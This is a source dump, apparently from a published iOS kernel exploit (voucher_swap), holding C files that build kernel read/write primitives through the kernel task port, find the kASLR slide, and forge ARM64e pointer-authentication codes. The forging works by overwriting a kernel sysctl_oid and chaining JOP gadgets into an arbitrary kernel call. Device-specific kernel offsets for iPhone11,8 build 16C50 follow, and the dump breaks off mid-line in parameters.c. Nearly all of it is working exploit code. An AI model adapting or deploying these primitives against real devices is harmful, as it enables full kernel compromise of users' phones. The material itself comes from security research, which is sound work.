KERNEL_MEMORY_EXTERN 6 | #include "kernel_memory.h" 7 | 8 | #include "log.h" 9 | #include "mach_vm.h" 10 | #include "parameters.h" 11 | 12 | // ---- Kernel memory functions ------------------------------------------------------------------- 13 | 14 | bool 15 | kernel_read(uint64_t address, void *data, size_t size) { 16 | mach_vm_size_t size_out; 17 | kern_return_t kr = mach_vm_read_overwrite(kernel_task_port, address, 18 | size, (mach_vm_address_t) data, &size_out); 19 | if (kr != KERN_SUCCESS) { 20 | ERROR("%s returned %d: %s", "mach_vm_read_overwrite", kr, mach_error_string(kr)); 21 | ERROR("could not %s address 0x%016llx", "read", address); 22 | return false; 23 | } 24 | if (size_out != size) { 25 | ERROR("partial read of address 0x%016llx: %llu of %zu bytes", 26 | address, size_out, size); 27 | return false; 28 | } 29 | return true; 30 | } 31 | 32 | bool 33 | kernel_write(uint64_t address, const void *data, size_t size) { 34 | kern_return_t kr = mach_vm_write(kernel_task_port, address, 35 | (mach_vm_address_t) data, (mach_msg_size_t) size); 36 | if (kr != KERN_SUCCESS) { 37 | ERROR("%s returned %d: %s", "mach_vm_write", kr, mach_error_string(kr)); 38 | ERROR("could not %s address 0x%016llx", "write", address); 39 | return false; 40 | } 41 | return true; 42 | } 43 | 44 | uint8_t 45 | kernel_read8(uint64_t address) { 46 | uint8_t value; 47 | bool ok = kernel_read(address, &value, sizeof(value)); 48 | if (!ok) { 49 | return -1; 50 | } 51 | return value; 52 | } 53 | 54 | uint16_t 55 | kernel_read16(uint64_t address) { 56 | uint16_t value; 57 | bool ok = kernel_read(address, &value, sizeof(value)); 58 | if (!ok) { 59 | return -1; 60 | } 61 | return value; 62 | } 63 | 64 | uint32_t 65 | kernel_read32(uint64_t address) { 66 | uint32_t value; 67 | bool ok = kernel_read(address, &value, sizeof(value)); 68 | if (!ok) { 69 | return -1; 70 | } 71 | return value; 72 | } 73 | 74 | uint64_t 75 | kernel_read64(uint64_t address) { 76 | uint64_t value; 77 | bool ok = kernel_read(address, &value, sizeof(value)); 78 | if (!ok) { 79 | return -1; 80 | } 81 | return value; 82 | } 83 | 84 | bool 85 | kernel_write8(uint64_t address, uint8_t value) { 86 | return kernel_write(address, &value, sizeof(value)); 87 | } 88 | 89 | bool 90 | kernel_write16(uint64_t address, uint16_t value) { 91 | return kernel_write(address, &value, sizeof(value)); 92 | } 93 | 94 | bool 95 | kernel_write32(uint64_t address, uint32_t value) { 96 | return kernel_write(address, &value, sizeof(value)); 97 | } 98 | 99 | bool 100 | kernel_write64(uint64_t address, uint64_t value) { 101 | return kernel_write(address, &value, sizeof(value)); 102 | } 103 | 104 | // ---- Kernel utility functions ------------------------------------------------------------------ 105 | 106 | bool 107 | kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name, 108 | uint64_t *ipc_port, uint64_t *ipc_entry) { 109 | // Get the task's ipc_space. 110 | uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space)); 111 | // Get the size of the table. 112 | uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size)); 113 | // Get the index of the port and check that it is in-bounds. 114 | uint32_t port_index = MACH_PORT_INDEX(port_name); 115 | if (port_index >= is_table_size) { 116 | return false; 117 | } 118 | // Get the space's is_table and compute the address of this port's entry. 119 | uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table)); 120 | uint64_t entry = is_table + port_index * SIZE(ipc_entry); 121 | if (ipc_entry != NULL) { 122 | *ipc_entry = entry; 123 | } 124 | // Get the address of the port if requested. 125 | if (ipc_port != NULL) { 126 | *ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object)); 127 | } 128 | return true; 129 | } 130 | -------------------------------------------------------------------------------- /src/kernel_call/kernel_memory.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_memory.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_ 6 | #define VOUCHER_SWAP__KERNEL_MEMORY_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #ifdef KERNEL_MEMORY_EXTERN 14 | #define extern KERNEL_MEMORY_EXTERN 15 | #endif 16 | 17 | /* 18 | * kernel_task_port 19 | * 20 | * Description: 21 | * The kernel task port. 22 | */ 23 | extern mach_port_t kernel_task_port; 24 | 25 | /* 26 | * kernel_task 27 | * 28 | * Description: 29 | * The address of the kernel_task in kernel memory. 30 | */ 31 | extern uint64_t kernel_task; 32 | 33 | /* 34 | * current_task 35 | * 36 | * Description: 37 | * The address of the current task in kernel memory. 38 | */ 39 | extern uint64_t current_task; 40 | 41 | /* 42 | * kernel_read 43 | * 44 | * Description: 45 | * Read data from kernel memory. 46 | */ 47 | bool kernel_read(uint64_t address, void *data, size_t size); 48 | 49 | /* 50 | * kernel_write 51 | * 52 | * Description: 53 | * Write data to kernel memory. 54 | */ 55 | bool kernel_write(uint64_t address, const void *data, size_t size); 56 | 57 | /* 58 | * kernel_read8 59 | * 60 | * Description: 61 | * Read a single byte from kernel memory. If the read fails, -1 is returned. 62 | */ 63 | uint8_t kernel_read8(uint64_t address); 64 | 65 | /* 66 | * kernel_read16 67 | * 68 | * Description: 69 | * Read a 16-bit value from kernel memory. If the read fails, -1 is returned. 70 | */ 71 | uint16_t kernel_read16(uint64_t address); 72 | 73 | /* 74 | * kernel_read32 75 | * 76 | * Description: 77 | * Read a 32-bit value from kernel memory. If the read fails, -1 is returned. 78 | */ 79 | uint32_t kernel_read32(uint64_t address); 80 | 81 | /* 82 | * kernel_read64 83 | * 84 | * Description: 85 | * Read a 64-bit value from kernel memory. If the read fails, -1 is returned. 86 | */ 87 | uint64_t kernel_read64(uint64_t address); 88 | 89 | /* 90 | * kernel_write8 91 | * 92 | * Description: 93 | * Write a single byte to kernel memory. 94 | */ 95 | bool kernel_write8(uint64_t address, uint8_t value); 96 | 97 | /* 98 | * kernel_write16 99 | * 100 | * Description: 101 | * Write a 16-bit value to kernel memory. 102 | */ 103 | bool kernel_write16(uint64_t address, uint16_t value); 104 | 105 | /* 106 | * kernel_write32 107 | * 108 | * Description: 109 | * Write a 32-bit value to kernel memory. 110 | */ 111 | bool kernel_write32(uint64_t address, uint32_t value); 112 | 113 | /* 114 | * kernel_write64 115 | * 116 | * Description: 117 | * Write a 64-bit value to kernel memory. 118 | */ 119 | bool kernel_write64(uint64_t address, uint64_t value); 120 | 121 | /* 122 | * kernel_ipc_port_lookup 123 | * 124 | * Description: 125 | * Get the address of the ipc_port and ipc_entry for a Mach port name. 126 | */ 127 | bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name, 128 | uint64_t *ipc_port, uint64_t *ipc_entry); 129 | 130 | #undef extern 131 | 132 | #endif 133 | -------------------------------------------------------------------------------- /src/kernel_call/kernel_slide.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_slide.c 3 | * Brandon Azad 4 | */ 5 | #define KERNEL_SLIDE_EXTERN 6 | #include "kernel_slide.h" 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include "kernel_memory.h" 13 | #include "log.h" 14 | #include "parameters.h" 15 | #include "platform.h" 16 | 17 | /* 18 | * is_kernel_base 19 | * 20 | * Description: 21 | * Checks if the given address is the kernel base. 22 | */ 23 | static bool 24 | is_kernel_base(uint64_t base) { 25 | // Read the data at the base address as a Mach-O header. 26 | struct mach_header_64 header = {}; 27 | bool ok = kernel_read(base, &header, sizeof(header)); 28 | if (!ok) { 29 | return false; 30 | } 31 | // Validate that this looks like the kernel base. We don't check the CPU subtype since it 32 | // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1, 33 | // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is 34 | // CPU_SUBTYPE_ARM64_V8). 35 | if (!(header.magic == MH_MAGIC_64 36 | && header.cputype == platform.cpu_type 37 | && header.filetype == MH_EXECUTE 38 | && header.ncmds > 2)) { 39 | return false; 40 | } 41 | return true; 42 | } 43 | 44 | bool 45 | kernel_slide_init() { 46 | if (kernel_slide != -1) { 47 | return true; 48 | } 49 | // Get the address of the host port. 50 | mach_port_t host = mach_host_self(); 51 | assert(MACH_PORT_VALID(host)); 52 | uint64_t host_port; 53 | bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL); 54 | mach_port_deallocate(mach_task_self(), host); 55 | if (!ok) { 56 | ERROR("could not lookup host port"); 57 | return false; 58 | } 59 | // Get the address of realhost. 60 | uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject)); 61 | return kernel_slide_init_with_kernel_image_address(realhost); 62 | } 63 | 64 | bool 65 | kernel_slide_init_with_kernel_image_address(uint64_t address) { 66 | if (kernel_slide != -1) { 67 | return true; 68 | } 69 | // Find the highest possible kernel base address that could still correspond to the given 70 | // kernel image address. 71 | uint64_t base = STATIC_ADDRESS(kernel_base); 72 | assert(address > base); 73 | base = base + ((address - base) / kernel_slide_step) * kernel_slide_step; 74 | // Now walk backwards from that kernel base one kernel slide at a time until we find the 75 | // real kernel base. 76 | while (base >= STATIC_ADDRESS(kernel_base)) { 77 | bool found = is_kernel_base(base); 78 | if (found) { 79 | kernel_slide = base - STATIC_ADDRESS(kernel_base); 80 | DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide); 81 | return true; 82 | } 83 | base -= kernel_slide_step; 84 | } 85 | ERROR("could not find kernel base"); 86 | ERROR("could not determine kernel slide"); 87 | return false; 88 | } 89 | -------------------------------------------------------------------------------- /src/kernel_call/kernel_slide.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_slide.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_ 6 | #define VOUCHER_SWAP__KERNEL_SLIDE_H_ 7 | 8 | #include 9 | #include 10 | 11 | #ifdef KERNEL_SLIDE_EXTERN 12 | #define extern KERNEL_SLIDE_EXTERN 13 | #endif 14 | 15 | /* 16 | * kernel_slide 17 | * 18 | * Description: 19 | * The kASLR slide. 20 | */ 21 | extern uint64_t kernel_slide; 22 | 23 | /* 24 | * kernel_slide_init 25 | * 26 | * Description: 27 | * Find the value of the kernel slide using kernel_read() and current_task. 28 | */ 29 | bool kernel_slide_init(void); 30 | 31 | /* 32 | * kernel_slide_init_with_kernel_image_address 33 | * 34 | * Description: 35 | * Find the value of the kernel slide using kernel_read(), starting with an address that is 36 | * known to reside within the kernel image. 37 | */ 38 | bool kernel_slide_init_with_kernel_image_address(uint64_t address); 39 | 40 | #undef extern 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /src/kernel_call/log.c: -------------------------------------------------------------------------------- 1 | /* 2 | * log.c 3 | * Brandon Azad 4 | */ 5 | #include "log.h" 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | void 12 | log_internal(char type, const char *format, ...) { 13 | if (log_implementation != NULL) { 14 | va_list ap; 15 | va_start(ap, format); 16 | log_implementation(type, format, ap); 17 | va_end(ap); 18 | } 19 | } 20 | 21 | // The default logging implementation prints to stderr with a nice hacker prefix. 22 | static void 23 | log_stderr(char type, const char *format, va_list ap) { 24 | char *message = NULL; 25 | vasprintf(&message, format, ap); 26 | assert(message != NULL); 27 | switch (type) { 28 | case 'D': type = 'D'; break; 29 | case 'I': type = '+'; break; 30 | case 'W': type = '!'; break; 31 | case 'E': type = '-'; break; 32 | } 33 | fprintf(stderr, "[%c] %s\n", type, message); 34 | free(message); 35 | } 36 | 37 | void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr; 38 | -------------------------------------------------------------------------------- /src/kernel_call/log.h: -------------------------------------------------------------------------------- 1 | /* 2 | * log.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__LOG_H_ 6 | #define VOUCHER_SWAP__LOG_H_ 7 | 8 | #include 9 | #include 10 | 11 | /* 12 | * log_implementation 13 | * 14 | * Description: 15 | * This is the log handler that will be executed when code wants to log a message. The default 16 | * implementation logs the message to stderr. Setting this value to NULL will disable all 17 | * logging. Specify a custom log handler to process log messages in another way. 18 | * 19 | * Parameters: 20 | * type A character representing the type of message that is being 21 | * logged. 22 | * format A printf-style format string describing the error message. 23 | * ap The variadic argument list for the format string. 24 | * 25 | * Log Type: 26 | * The type parameter is one of: 27 | * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug 28 | * verbosity. 29 | * - I: Info: Used to convey general information about the exploit or its progress. 30 | * - W: Warning: Used to indicate that an unusual but possibly recoverable condition was 31 | * encountered. 32 | * - E: Error: Used to indicate that an unrecoverable error was encountered. The code 33 | * might continue running after an error was encountered, but it probably will 34 | * not succeed. 35 | */ 36 | extern void (*log_implementation)(char type, const char *format, va_list ap); 37 | 38 | #define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG) 39 | 40 | #if DEBUG 41 | #define DEBUG_TRACE(level, fmt, ...) \ 42 | do { \ 43 | if (DEBUG_LEVEL(level)) { \ 44 | log_internal('D', fmt, ##__VA_ARGS__); \ 45 | } \ 46 | } while (0) 47 | #else 48 | #define DEBUG_TRACE(level, fmt, ...) do {} while (0) 49 | #endif 50 | #define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__) 51 | #define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__) 52 | #define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__) 53 | 54 | // A function to call the logging implementation. 55 | void log_internal(char type, const char *format, ...) __printflike(2, 3); 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /src/kernel_call/mach_vm.h: -------------------------------------------------------------------------------- 1 | /* 2 | * mach_vm.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__MACH_VM_H_ 6 | #define VOUCHER_SWAP__MACH_VM_H_ 7 | 8 | #include 9 | 10 | extern 11 | kern_return_t mach_vm_allocate 12 | ( 13 | vm_map_t target, 14 | mach_vm_address_t *address, 15 | mach_vm_size_t size, 16 | int flags 17 | ); 18 | 19 | extern 20 | kern_return_t mach_vm_deallocate 21 | ( 22 | vm_map_t target, 23 | mach_vm_address_t address, 24 | mach_vm_size_t size 25 | ); 26 | 27 | extern 28 | kern_return_t mach_vm_write 29 | ( 30 | vm_map_t target_task, 31 | mach_vm_address_t address, 32 | vm_offset_t data, 33 | mach_msg_type_number_t dataCnt 34 | ); 35 | 36 | extern 37 | kern_return_t mach_vm_read_overwrite 38 | ( 39 | vm_map_t target_task, 40 | mach_vm_address_t address, 41 | mach_vm_size_t size, 42 | mach_vm_address_t data, 43 | mach_vm_size_t *outsize 44 | ); 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /src/kernel_call/pac.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/pac.c 3 | * Brandon Azad 4 | */ 5 | #include "pac.h" 6 | 7 | #include "kernel_call.h" 8 | #include "kc_parameters.h" 9 | #include "user_client.h" 10 | #include "kernel_memory.h" 11 | #include "log.h" 12 | #include "mach_vm.h" 13 | #include "parameters.h" 14 | 15 | #if __arm64e__ 16 | 17 | // ---- Global variables -------------------------------------------------------------------------- 18 | 19 | // The address of our kernel buffer. 20 | static uint64_t kernel_pacxa_buffer; 21 | 22 | // The forged value PACIZA('mov x0, x4 ; br x5'). 23 | static uint64_t paciza__mov_x0_x4__br_x5; 24 | 25 | // ---- Stage 2 ----------------------------------------------------------------------------------- 26 | 27 | /* 28 | * stage1_kernel_call_7 29 | * 30 | * Description: 31 | * Call a kernel function using our stage 1 execute primitive with explicit registers. 32 | * 33 | * See stage1_kernel_call_7v. 34 | */ 35 | static uint32_t 36 | stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3, 37 | uint64_t x4, uint64_t x5, uint64_t x6) { 38 | uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 }; 39 | return stage1_kernel_call_7v(function, 7, arguments); 40 | } 41 | 42 | /* 43 | * stage1_init_kernel_pacxa_forging 44 | * 45 | * Description: 46 | * Initialize our stage 1 capability to forge PACIA and PACDA pointers. 47 | */ 48 | static void 49 | stage1_init_kernel_pacxa_forging() { 50 | // Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop(). 51 | // Because these values already contain the PACIZA code, we can call them with the stage 0 52 | // call primitive to start/stop the module. 53 | uint64_t paciza__l2tp_domain_module_start = kernel_read64( 54 | ADDRESS(paciza_pointer__l2tp_domain_module_start)); 55 | uint64_t paciza__l2tp_domain_module_stop = kernel_read64( 56 | ADDRESS(paciza_pointer__l2tp_domain_module_stop)); 57 | 58 | // Read out the original value of sysctl__net_ppp_l2tp__data. 59 | uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)]; 60 | kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid)); 61 | 62 | // Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that 63 | // sysctl_unregister_oid() will execute the following instruction sequence: 64 | // 65 | // LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler 66 | // CBNZ X19, loc_FFFFFFF007EBD330 67 | // CBZ X10, loc_FFFFFFF007EBD330 68 | // MOV X19, #0 69 | // MOV X11, X9 ; X11 = &old_oidp->oid_handler 70 | // MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler 71 | // AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler) 72 | // PACIZA X10 ; X10 = PACIZA(X10) 73 | // STR X10, [X9] ; old_oidp->oid_handler = X10 74 | // 75 | uint8_t fake_sysctl_oid[SIZE(sysctl_oid)]; 76 | memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid)); 77 | FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link); 78 | FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp); 79 | FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000; 80 | FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5); 81 | FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1; 82 | FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0; 83 | 84 | // Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid. 85 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid)); 86 | 87 | // Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake 88 | // sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget. 89 | __unused uint32_t ret; 90 | ret = stage1_kernel_call_7( 91 | paciza__l2tp_domain_module_stop, // PC 92 | 0, 0, 0, 0, 0, 0); // X1 - X6 93 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d", 94 | "l2tp_domain_module_stop", ret, 95 | kernel_read32(ADDRESS(l2tp_domain_inited))); 96 | 97 | // Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not 98 | // be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use 99 | // this value to reconstruct the correct PACIZA'd pointer. 100 | uint64_t handler = kernel_read64( 101 | ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler)); 102 | paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1)); 103 | DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5); 104 | 105 | // Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up. 106 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid)); 107 | ret = stage1_kernel_call_7( 108 | paciza__mov_x0_x4__br_x5, // PC 109 | 0, 0, 0, // X1 - X3 110 | ADDRESS(sysctl__net_ppp_l2tp), // X4 111 | ADDRESS(sysctl_unregister_oid), // X5 112 | 0); // X6 113 | DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid", 114 | ADDRESS(sysctl__net_ppp_l2tp), ret); 115 | 116 | // And finally call l2tp_domain_module_start() to re-initialize the module. 117 | ret = stage1_kernel_call_7( 118 | paciza__l2tp_domain_module_start, // PC 119 | 0, 0, 0, 0, 0, 0); // X1 - X6 120 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d", 121 | "l2tp_domain_module_start", ret, 122 | kernel_read32(ADDRESS(l2tp_domain_inited))); 123 | 124 | // Alright, so now we have an arbitrary call gadget! 125 | kernel_pacxa_buffer = stage1_get_kernel_buffer(); 126 | } 127 | 128 | // ---- Stage 2 ----------------------------------------------------------------------------------- 129 | 130 | /* 131 | * stage2_kernel_forge_pacxa 132 | * 133 | * Description: 134 | * Forge a PACIA or PACDA pointer using the kernel forging gadgets. 135 | */ 136 | static uint64_t 137 | stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) { 138 | const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer); 139 | const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access); 140 | // Initialize the kernel_pacxa_buffer to be all zeros. 141 | uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset]; 142 | memset(pacxa_buffer, 0, sizeof(pacxa_buffer)); 143 | kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer)); 144 | // The buffer address we pass to the gadget is offset from the part of that we initialize 145 | // (to save us some space). The result is stored at different offsets in the buffer 146 | // depending on whether the operation is PACIA or PACDA. 147 | uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset; 148 | uint64_t result_address = buffer_address; 149 | uint64_t pacxa_gadget; 150 | if (instruction) { 151 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result); 152 | pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget); 153 | } else { 154 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result); 155 | pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget); 156 | } 157 | // We need to set: 158 | // 159 | // x2 = buffer_address 160 | // x9 = address 161 | // x10 = context 162 | // 163 | // In order to do that we'll execute the following JOP sequence before jumping to the 164 | // gadget: 165 | // 166 | // mov x0, x4 ; br x5 167 | // mov x9, x0 ; br x1 168 | // mov x10, x3 ; br x6 169 | // 170 | __unused uint32_t ret; 171 | ret = stage1_kernel_call_7( 172 | paciza__mov_x0_x4__br_x5, // PC 173 | ADDRESS(mov_x10_x3__br_x6), // X1 174 | buffer_address, // X2 175 | context, // X3 176 | address, // X4 177 | ADDRESS(mov_x9_x0__br_x1), // X5 178 | pacxa_gadget); // X6 179 | DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret); 180 | // Now recover the PACXA'd value. 181 | uint64_t pacxa = kernel_read64(result_address); 182 | return pacxa; 183 | } 184 | 185 | /* 186 | * xpaci 187 | * 188 | * Description: 189 | * Strip a PACIx code from a pointer. 190 | */ 191 | static uint64_t 192 | xpaci(uint64_t pointer) { 193 | asm("xpaci %[value]\n" : [value] "+r"(pointer)); 194 | return pointer; 195 | } 196 | 197 | /* 198 | * xpacd 199 | * 200 | * Description: 201 | * Strip a PACDx code from a pointer. 202 | */ 203 | static uint64_t 204 | xpacd(uint64_t pointer) { 205 | asm("xpacd %[value]\n" : [value] "+r"(pointer)); 206 | return pointer; 207 | } 208 | 209 | #endif // __arm64e__ 210 | 211 | // ---- API --------------------------------------------------------------------------------------- 212 | 213 | bool 214 | stage2_kernel_call_init() { 215 | #if __arm64e__ 216 | stage1_init_kernel_pacxa_forging(); 217 | #endif 218 | return true; 219 | } 220 | 221 | void 222 | stage2_kernel_call_deinit() { 223 | } 224 | 225 | uint32_t 226 | stage2_kernel_call_7v(uint64_t function, 227 | size_t argument_count, const uint64_t arguments[]) { 228 | uint64_t paciza_function = kernel_forge_pacia(function, 0); 229 | return stage1_kernel_call_7v(paciza_function, argument_count, arguments); 230 | } 231 | 232 | uint64_t 233 | kernel_forge_pacia(uint64_t pointer, uint64_t context) { 234 | #if __arm64e__ 235 | return stage2_kernel_forge_pacxa(pointer, context, true); 236 | #else 237 | return pointer; 238 | #endif 239 | } 240 | 241 | uint64_t 242 | kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) { 243 | uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff); 244 | return kernel_forge_pacia(pointer, context); 245 | } 246 | 247 | uint64_t 248 | kernel_forge_pacda(uint64_t pointer, uint64_t context) { 249 | #if __arm64e__ 250 | return stage2_kernel_forge_pacxa(pointer, context, false); 251 | #else 252 | return pointer; 253 | #endif 254 | } 255 | 256 | uint64_t 257 | kernel_xpaci(uint64_t pointer) { 258 | #if __arm64e__ 259 | return xpaci(pointer); 260 | #else 261 | return pointer; 262 | #endif 263 | } 264 | 265 | uint64_t 266 | kernel_xpacd(uint64_t pointer) { 267 | #if __arm64e__ 268 | return xpacd(pointer); 269 | #else 270 | return pointer; 271 | #endif 272 | } 273 | -------------------------------------------------------------------------------- /src/kernel_call/pac.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/pac.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL__PAC_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * stage2_kernel_call_init 14 | * 15 | * Description: 16 | * Initialize stage 2 of kernel function calling. 17 | * 18 | * Initializes: 19 | * stage2_kernel_call_7v() 20 | * kernel_forge_pacia() 21 | * kernel_forge_pacia_with_type() 22 | * kernel_forge_pacda() 23 | */ 24 | bool stage2_kernel_call_init(void); 25 | 26 | /* 27 | * stage2_kernel_call_deinit 28 | * 29 | * Description: 30 | * Deinitialize stage 2 of kernel function calling. 31 | */ 32 | void stage2_kernel_call_deinit(void); 33 | 34 | /* 35 | * stage2_kernel_call_7v 36 | * 37 | * Description: 38 | * Call a kernel function using our stage 2 execute primitive. 39 | * 40 | * Restrictions: 41 | * At most 7 arguments can be passed. 42 | * The return value is truncated to 32 bits. 43 | * At stage 2, only arguments X1 - X6 are controlled. 44 | */ 45 | uint32_t stage2_kernel_call_7v(uint64_t function, 46 | size_t argument_count, const uint64_t arguments[]); 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /src/kernel_call/parameters.c: -------------------------------------------------------------------------------- 1 | /* 2 | * parameters.c 3 | * Brandon Azad 4 | */ 5 | #define PARAMETERS_EXTERN 6 | #include "parameters.h" 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "log.h" 15 | #include "platform.h" 16 | #include "platform_match.h" 17 | 18 | // ---- Initialization routines ------------------------------------------------------------------- 19 | 20 | // A struct describing an initialization. 21 | struct initialization { 22 | const char *devices; 23 | const char *builds; 24 | void (*init)(void); 25 | }; 26 | 27 | // Run initializations matching this platform. 28 | static size_t 29 | run_initializations(struct initialization *inits, size_t count) { 30 | size_t match_count = 0; 31 | for (size_t i = 0; i < count; i++) { 32 | struct initialization *init = &inits[i]; 33 | if (platform_matches(init->devices, init->builds)) { 34 | init->init(); 35 | match_count++; 36 | } 37 | } 38 | return match_count; 39 | } 40 | 41 | // A helper macro to get the number of elements in a static array. 42 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0])) 43 | 44 | // ---- General system parameters ----------------------------------------------------------------- 45 | 46 | // Initialization for general system parameters. 47 | static void 48 | init__system_parameters() { 49 | STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000; 50 | kernel_slide_step = 0x200000; 51 | message_size_for_kmsg_zone = 76; 52 | kmsg_zone_size = 256; 53 | max_ool_ports_per_message = 16382; 54 | gc_step = 2 * MB; 55 | } 56 | 57 | // A list of general system parameter initializations by platform. 58 | static struct initialization system_parameters[] = { 59 | { "*", "*", init__system_parameters }, 60 | }; 61 | 62 | // ---- Offset initialization --------------------------------------------------------------------- 63 | 64 | // Initialization for iPhone11,8 16C50 (and similar devices). 65 | static void 66 | offsets__iphone11_8__16C50() { 67 | SIZE(ipc_entry) = 0x18; 68 | OFFSET(ipc_entry, ie_object) = 0; 69 | OFFSET(ipc_entry, ie_bits) = 8; 70 | OFFSET(ipc_entry, ie_request) = 16; 71 | 72 | SIZE(ipc_port) = 0xa8; 73 | BLOCK_SIZE(ipc_port) = 0x4000; 74 | OFFSET(ipc_port, ip_bits) = 0; 75 | OFFSET(ipc_port, ip_references) = 4; 76 | OFFSET(ipc_port, waitq_flags) = 24; 77 | OFFSET(ipc_port, imq_messages) = 64; 78 | OFFSET(ipc_port, imq_msgcount) = 80; 79 | OFFSET(ipc_port, imq_qlimit) = 82; 80 | OFFSET(ipc_port, ip_receiver) = 96; 81 | OFFSET(ipc_port, ip_kobject) = 104; 82 | OFFSET(ipc_port, ip_nsrequest) = 112; 83 | OFFSET(ipc_port, ip_requests) = 128; 84 | OFFSET(ipc_port, ip_mscount) = 156; 85 | OFFSET(ipc_port, ip_srights) = 160; 86 | 87 | SIZE(ipc_port_request) = 0x10; 88 | OFFSET(ipc_port_request, ipr_soright) = 0; 89 | 90 | OFFSET(ipc_space, is_table_size) = 0x14; 91 | OFFSET(ipc_space, is_table) = 0x20; 92 | 93 | SIZE(ipc_voucher) = 0x50; 94 | BLOCK_SIZE(ipc_voucher) = 0x4000; 95 | 96 | OFFSET(proc, p_pid) = 0x60; 97 | OFFSET(proc, 